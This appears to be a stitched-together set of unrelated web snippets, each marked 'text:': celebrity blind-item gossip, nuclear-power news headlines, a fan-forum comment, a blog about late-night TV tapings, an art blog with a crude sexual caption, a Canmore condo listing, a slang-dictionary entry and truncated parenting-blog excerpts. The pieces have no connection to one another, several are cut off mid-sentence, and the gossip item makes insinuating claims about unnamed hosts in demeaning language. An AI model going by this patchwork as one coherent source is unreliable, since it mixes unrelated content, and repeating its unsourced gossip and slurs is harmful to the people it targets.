You see, these très-loyal cohosts used to be practically inseparable, even hanging out when the cameras stopped rolling! But it appears the glory days are over…
Turns out Anita's cohost wants to move on to greener pastures—ya know, pastures without Anita.
Oh and by greener, you bet your ass we mean money-wise. Anita's friend turned frenemy is looking at cashing in a serious paycheck if the next gig works out right. We're talking big-time Hollywood bucks here, peeps.
And Anita ain't happy about it!
In fact, she's downright pissed. And so is the rest of the show's team, who feel like Anita's right-hand guy or gal will be deserting everything they have built together.
But Anita's partner in crime already has one foot out the door, so it's just a matter of time before we hear what network this personality will be popping up on next!
We would watch out tho, Anita may seem all sugar and spice, but we wouldn't put it past this broad to seek some sort of revenge.
We're sure we'll be seeing you again real soon, Anita!
And It Ain't: Anne Curry, Wendy Williams, Ellen DeGeneres


text:
3 hrs ago | The Washington Post
Prosecutors raid South Korea's nuclear operator as probe widens into fabricated test results
South Korea's sole nuclear operator says investigators raided its offices as part of a probe into nuclear plant cables.
Correction: Nuclear Safety-Nebraska story
In a June 17 story about federal regulators' concerns over how workers responded to problems at a Cooper, Neb., nuclear power plant, The Associated Press mischaracterized how the regulators felt about some of the plant operator's decision-making.
Sevierville vacation club closes doors, leaving customers out in the cold
There are more than 30 Pilot Flying J employees named in the affidavit for the federal investigation with five of them entering guilty pleas to fraud charges.
Nuclear Regulatory Commission open house to be held at Manitowoc Public Library
The Nuclear Regulatory Commission will hold a public open house from 6 to 7:30 p.m. on June 26 to discuss the agency's annual safety performance of the Point Beach nuclear power plant.
Japan formally OKs new nuke safety requirements
In this Saturday, July. 23, 2011 file photo, the No. 3 reactor, right, of the Ikata nuclear power plant, operated by Shikoku Electric Power Co., is seen in Ikata, western Japan.
Energy Secretary to visit Hanford site in Wash.
New Energy Secretary Ernest Moniz is set to make his first visit to the nation's most contaminated nuclear site since being confirmed by the Senate last month.
Toxic substance in Fukushima water
High levels of a toxic radioactive isotope have been found in groundwater at Japan's Fukushima nuclear plant, its operator says.
Fighting climate change with nuclear energy
Steam rises from the cooling towers of nuclear reactors at Plant Vogtle, in Waynesboro, Ga.
Despite spending several days in detention facilities in the late 1970s and early 1980s because of my opposition to nuclear power and its consequent dangers and debris, I honestly never thought nuclear power would be gone by 2013.
Does Nuclear Energy Still Have a Future? You Better Believe It Does.
Ever since last week's announcement of the closure of San Onofre Nuclear Generating Station , we've been seeing a spate of stories in the press questioning whether or not nuclear energy has a future as part of the nation's energy mix.
Palisades Nuclear Power Plant in Covert
The process of restoring the Palisades nuclear power plant to the power grid began yesterday.
City man honored by nuclear society
Duane Pendergast has been made a Fellow of the Canadian Nuclear Society. Pendergast is currently chair, Alberta Branch of the Canadian Nuclear Society, and since his retirement from Atomic Energy of Canada in 2000 has been consulting and writing related to energy and greenhouse gas management.
Perry | Nuclear power plant shut down after contained leak
"At no time was there any danger to the public, or even our workers at the plant.
Regulators raise concerns about Neb. nuke plant
Federal regulators say the utility that runs the Cooper nuclear power plant in southeast Nebraska needs to improve how workers respond to problems.
GOP Bill Cuts Renewable Energy Spending in Half
House appropriators revealed Monday that they plan to cut Energy Department spending on renewable energy in half next year as part of their plan to cope with automatic sequestration cuts in fiscal 2014.
The Real Reason to Fight Nuclear Power Has Nothing to Do With Health Risks
Steam rises from the cooling towers of nuclear reactors at Plant Vogtle, in Waynesboro, Ga.
NRC: Pa. nuke building evacuated for CO2 release
The Nuclear Regulatory Commission says a western Pennsylvania power plant had to evacuate a turbine building for about 90 minutes due to excess carbon dioxide.
How opposed to nuclear energy are liberals?
The New York Times has a piece with the title A Rebel Filmmaker Tilts Conservative .
Nuclear Decommissioning Surge Is Investor Guessing Game: Energy
Nuclear utilities thrust into the spotlight after the Fukushima meltdowns have ordered 20 reactors shut, the most in a three-year span since Chernobyl's aftermath, saddling the industry with a possible $26 billion in costs.
Woman: Cancer tied to Santa Susana Field Laboratory
Sue Brigham s daughter, Jennifer Robinson, 36, is shown before and after treatment for a rare form of stomach cancer.


text:
En ce moment : Cannes 2013 | La Belle et ses princes | The Voice | Les Marseillais | Pékin | Les Anges 5
Whoa guys, relax. I was excited to see her too- but she sttras rehearsals for her play tomorrow, who even knows where she is or what she is doing- she always attends premiers and award shows when she can, so lets not get upset and be glad our girl isn't some sort of fame whore. We all miss seeing her, but think of the nightly candids we'll get in just a few short months.


text:
We now resume our regular programming.
Among the things to catch up on here at TV Feeds My Family are some tales from my trip to Los Angeles late last month. One of the highlights was a visit to the set of The Late Late Show with Craig Ferguson. This was especially interesting coming exactly two weeks after dropping in on a Late Night with Conan O'Brien taping in New York. The two late night rivals put on very different shows, but it was as much the experience getting in and out of them that set up the differences. I wrote about the comparison last week for The Canadian Press. You can find that article here at Canoe's Jam! Television site.
There is a lot happening in late night in the next 12 months and the pressure seems to be tilting toward O'Brien in New York. He's gearing up for that Tonight Show coronation and you can feel the heat in Studio 6H in Manhattan. O'Brien does his best to keep things loose, bantering with the crowd before and after the show, going for the same spontaneity he fearlessly explored during those crazy writers strike weeks. Still, as much as he still plays to the college crowd, Late Night seemed more tweaked, more focused and precise, less silly than in previous visits (although, having said that, there was that bit where they wheeled Abe Vigoda out in a tub full of ice).
Ferguson's show, on the other hand, seemed as warm and breezy and pressure free as Lake Huron in July. First you have to warm up to Ferguson's warm up guy, the well named "Chunky B," who hits you with lines like, "I've been married for ten years but it seems like only five minutes--under water." Chunky had to work it at our taping, trotting out all the chestnuts. After flirting with a girl in the front row names Samantha, he started hitting on her sister, Monica. "Knock knock," says Chunk B. "Who's there?" says Monica. "Samantha." "Samantha who?" "That's what I'm saying now," says Chunky B.
Guess you had to be there. Anyway, Ferguson strides out to tremendous (and, as he notes, well prompted) applause, oozes charm, and stays just as playful throughout the fast hour at the desk. He's a delight in person, and I'm not just saying that because I'm desperately trying to land an interview for an upcoming book. He just owns that intimate, 113-seat studio deep within the CBS Television City broadcast bunker. The atmosphere is causal and relaxed, and that starts right at the front door and extends into a cozy little VIP lounge by the sound stage. There invited guests (and press weasels lucky enough to snag an invitation) can enjoy drinks at the bar and plenty of snacks while watching Late Late Show musical clips on a giant plasma screen. On the wall is a pop art portrait of Ferguson as well as the Scot's family crest and tartan. Aye, hoot mon!
[Memo to the Conan team building O'Brien a brand new studio on the NBC Burbank lot for when he takes over Tonight in 2009: go for the VIP lounge and invite me to inspect it later.]
Anyway, a Ferguson taping is a jolly good time while in L.A. "I KNOW!" as he often says during his monologues, as if he was surprised to hear it himself. The man is on a roll and it shows, having scored at this year's Washington press correspondent's dinner, obtaining his American citizenship and finally (albeit for one week only) overtaking O'Brien in the ratings.
An added bonus when I sat in was the extended taping session after the show, with the host at his desk banking some promo clips for future shows and other events. Ferguson would blurt out, "With your host, Craig Ferguson," or whatever but then throw in a gratuitous string of obscenities just to get a laff from the studio audience. He's a silly bugger, that Craig, and damn his show is a good time live.


text:
Minuscula Sed Ferox
(Icon Art by Lindsay Small-Butera)
Catching Elephant is a theme by Andy Taylor
Everyone's favorite kawaii moe bot.
I should draw him more, if only for the practice of rendering facial expressions on characters that don't have major facial features.
New hair, new icon.
It's that weird Biomech weapon thing again, looking a little too much like a Gunswordsman from Brigadoon
Sloppy robot blowjays.
I just really love Transformers smut, okay
O Bismark! O Bird of Fire!
Just a li'l Judge
Prrr prr prr
Lady Maverick #2: Dancing Bladecrane
An aloof and solitary reploid equipped with numerous razor sharp cutting surfaces on her forearms, talons and edges of her wing cape. With her repertoire of elegant dancing movements, her entire body becomes a weapon. Defeating her gains the Sickle Blade, a curved cutting weapon which shoots forward in a wide arc, cutting swaths through enemies like wheat.
Watching the GameGrumps playthrough of Megaman X (one of my fave games EVER) got me back in the mood of designing Mavericks/Robot Bosses, which every self-respecting MMX fan has done at one point in their lives. But I decided to shake up the mix this time by adding a bunch of much needed LADY robot bosses.
First on the roster is Crystal Snowhare. A scouting unit designed for arctic tundra terrain who went AWOL, she must be pursued in a high-speed chase level until cornered. Capable of vicious kicks and burrowing through snow to pop up unexpectedly, she's not a foe to be taken lightly. Defeating her gains you the Ice Dusters, a pair of dagger-shaped icicles which can be used to deliver a one-two punch for extra damage at close range before being launched at an enemy.
Portrait of the Artist as a Young Elsen
whoops my stylus slipped


text:
- 24-hour fitness facilities
- Number of buildings/towers - 1
- Elevator/lift
- Number of floors - 4
- Laundry facilities
- Total number of rooms - 25
- Secure parking
- Patio
- Free outdoor parking
- Security guard
- Smoke-free property
- Spa tub
This condo property is close to Canmore Museum and Geoscience Centre, Canmore Golf and Curling Club, and Canmore Nordic Centre Provincial Park. Regional attractions include Upper Hot Springs and Spray Lakes.
Canmore Crossing provides complimentary parking, and laundry facilities.
Televisions come with cable channels. Guestrooms also feature balconies, kitchens, and fireplaces.
The preferred airport for Canmore Crossing is Calgary, AB (YYC-Calgary Intl.) - 94.2 km / 58.5 mi.
Distances are calculated in a straight line from the property's location to the point of interest or airport and may not reflect actual travel distance.
Distances are displayed to the nearest 0.1 mile and kilometre.


text:
1. | miss observant | ||
A play on words used to describe a woman who claims to be aware of what's going on around her but constantly makes errors of judgment. An airhead Miss obervant over there just got her purse stolen for the third time by forgetting to close her bag while riding the subway


text:
photo credit: ssedro
So I'm reading Eat Pray Love. I know I'm way behind but I wanted to read it before I saw the movie.
I'm at …
Read More >>
I just love Jillian Michaels and I don't care what anyone else says….she is the greatest person that I don't know.
I made these brownies that she posted on her website this week and they are so delicously yummy.
Made them.
Ate them.
Love them.
The best part is the recipe is all healthy natural ingredients. Super easy to make and you know that you are …
Read More >>
Sometimes I wonder if pregnancy were an option for me if the decision to add children to our family would not be such a never-ending conversation. Right now at this very moment I want more children. I want Eva to have a sister, because I had five of them and they are the reason for my sanity, and my insanity come to think of it. But I still don't know what I would do without them, I surely would not be the person I am today.
To give Eva a sister is not the only reason I …
Read More >>
My vegetable garden isn't looking so good but my wildflowers that I planted in January are lovely. And so easy to maintain so I can't really take any credit.
*I am so impressed with the quality of the camera on my iphone. I never new what I was missing, and with kids you never know when you are going to want to whip a camera out of your pocket.
As parents we always hear how important positive reinforcement is when disciplining your child. Instead of just punishing your toddler for wacking the dog, praise her when you catch her petting the puppy nicely. I'm sure you have all heard this over and over again.
Well, recently, I've discovered that this works for me as well. I tend to beat myself up over every mistake I make as a parent and think "Alright now I've gone and screwed her …
Read More >>